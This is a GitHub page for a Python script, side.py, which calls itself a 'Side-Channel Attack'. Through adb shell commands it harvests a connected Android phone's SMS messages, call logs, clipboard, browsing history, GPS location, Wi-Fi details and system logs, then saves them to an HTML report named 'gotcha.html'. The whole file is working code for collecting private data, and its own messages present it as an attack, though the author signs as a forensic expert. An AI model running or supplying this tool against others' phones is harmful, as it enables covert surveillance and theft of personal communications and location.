-
Notifications
You must be signed in to change notification settings - Fork 1
/
side.py
197 lines (175 loc) · 6.13 KB
/
side.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
import subprocess
def adb_command(command):
"""Helper function to run adb commands and return output."""
try:
result = subprocess.run(f"adb shell {command}", shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
return result.stdout.decode('utf-8').strip()
except subprocess.CalledProcessError as e:
print(f"Error executing command: {e}")
return "Command failed or unsupported."
def get_clipboard_data():
"""Retrieve clipboard contents."""
return adb_command("dumpsys clipboard | grep 'data='")
def get_last_wakeup_time():
"""Retrieve last wakeup time."""
return adb_command("dumpsys power | grep 'mLastWakeTime'")
def get_browsing_history():
"""Retrieve browsing history."""
return adb_command('content query --uri content://browser/bookmarks --projection title,url --where "bookmark=0"')
def get_wifi_info():
"""Retrieve Wi-Fi connection info."""
return adb_command('dumpsys wifi | grep "mWifiInfo"')
def get_installed_apps():
"""Retrieve list of installed apps."""
return adb_command("pm list packages -f")
def get_battery_stats():
"""Retrieve battery stats."""
return adb_command("dumpsys batterystats")
def get_call_logs():
"""Retrieve call logs."""
return adb_command('content query --uri content://call_log/calls --projection number,type,date,duration')
def get_sms_messages():
"""Retrieve SMS messages."""
return adb_command('content query --uri content://sms/ --projection address,body,date')
def get_foreground_apps():
"""Retrieve currently foreground apps."""
return adb_command('dumpsys usagestats')
def get_device_logs():
"""Retrieve system logs."""
return adb_command('logcat -d')
def get_location_data():
"""Retrieve GPS location info."""
return adb_command('dumpsys location')
def get_sensor_data():
"""Retrieve sensor data (e.g., accelerometer, gyroscope)."""
return adb_command('dumpsys sensorservice')
def create_html_report(clipboard, wakeup_time, browsing_history, wifi_info, installed_apps, battery_stats, call_logs, sms_messages, foreground_apps, device_logs, location_data, sensor_data):
"""Generate and save the HTML report."""
html_content = f"""
<html>
<head>
<title>Side-Channel Attack Report - Created by N Vishnu Venkatesh</title>
<style>
body {{
background-color: black;
color: lime;
font-family: 'Courier New', Courier, monospace;
text-align: center;
}}
h1 {{
font-size: 3em;
text-shadow: 2px 2px #FF0000;
}}
.banner {{
background-color: #000;
color: #0F0;
border: 2px solid lime;
padding: 10px;
margin: 20px auto;
width: 80%;
}}
.section {{
margin: 20px;
padding: 20px;
border: 2px solid #0F0;
box-shadow: 0 0 10px lime;
width: 80%;
margin-left: auto;
margin-right: auto;
background-color: rgba(0, 255, 0, 0.1);
}}
pre {{
text-align: left;
margin: 20px;
padding: 10px;
background-color: black;
color: #0F0;
font-size: 1.2em;
border: 1px solid #0F0;
overflow: auto;
}}
</style>
</head>
<body>
<div class="banner">
<h1>Created by N Vishnu Venkatesh - Cyber Forensic Expert</h1>
</div>
<div class="section">
<h2>Clipboard Data</h2>
<pre>{clipboard}</pre>
</div>
<div class="section">
<h2>Last Wakeup Time</h2>
<pre>{wakeup_time}</pre>
</div>
<div class="section">
<h2>Browsing History</h2>
<pre>{browsing_history}</pre>
</div>
<div class="section">
<h2>Wi-Fi Info</h2>
<pre>{wifi_info}</pre>
</div>
<div class="section">
<h2>Installed Apps</h2>
<pre>{installed_apps}</pre>
</div>
<div class="section">
<h2>Battery Stats</h2>
<pre>{battery_stats}</pre>
</div>
<div class="section">
<h2>Call Logs</h2>
<pre>{call_logs}</pre>
</div>
<div class="section">
<h2>SMS Messages</h2>
<pre>{sms_messages}</pre>
</div>
<div class="section">
<h2>Foreground Apps</h2>
<pre>{foreground_apps}</pre>
</div>
<div class="section">
<h2>Device Logs</h2>
<pre>{device_logs}</pre>
</div>
<div class="section">
<h2>GPS Location Data</h2>
<pre>{location_data}</pre>
</div>
<div class="section">
<h2>Sensor Data</h2>
<pre>{sensor_data}</pre>
</div>
</body>
</html>
"""
# Save the report using UTF-8 encoding to avoid Unicode issues
with open("gotcha.html", "w", encoding="utf-8") as file:
file.write(html_content)
print("HTML report saved as gotcha.html")
def main():
print("Starting Side-Channel Attack...")
# Collect data with failure handling
clipboard = get_clipboard_data()
wakeup_time = get_last_wakeup_time()
browsing_history = get_browsing_history()
wifi_info = get_wifi_info()
installed_apps = get_installed_apps()
battery_stats = get_battery_stats()
call_logs = get_call_logs()
sms_messages = get_sms_messages()
foreground_apps = get_foreground_apps()
device_logs = get_device_logs()
location_data = get_location_data()
sensor_data = get_sensor_data()
# Create HTML report
create_html_report(
clipboard, wakeup_time, browsing_history, wifi_info, installed_apps,
battery_stats, call_logs, sms_messages, foreground_apps, device_logs,
location_data, sensor_data
)
print("Attack Completed.")
if __name__ == "__main__":
main()